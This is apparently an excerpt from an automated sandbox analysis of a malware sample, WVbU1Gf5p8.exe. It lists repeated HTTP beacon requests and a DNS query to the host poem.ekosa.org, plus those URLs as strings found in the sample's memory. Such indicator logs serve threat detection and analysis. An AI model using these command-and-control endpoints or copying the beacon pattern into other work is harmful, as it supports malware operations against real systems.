Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: poem.ekosa.org

Source: global traffic

Source: WVbU1Gf5p8.exe, WVbU1Gf5p8.exe, 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp.bat
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6780;
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678B
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002522478.000000000139A000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678C:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678F
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678T;O
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678V
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678Z;q
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678j
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678n
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678r
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u.
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uD
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uE
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uJ
Source: WVbU1Gf5p8.exe, 00000000.00000003.781276052.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uL
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uO
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uP
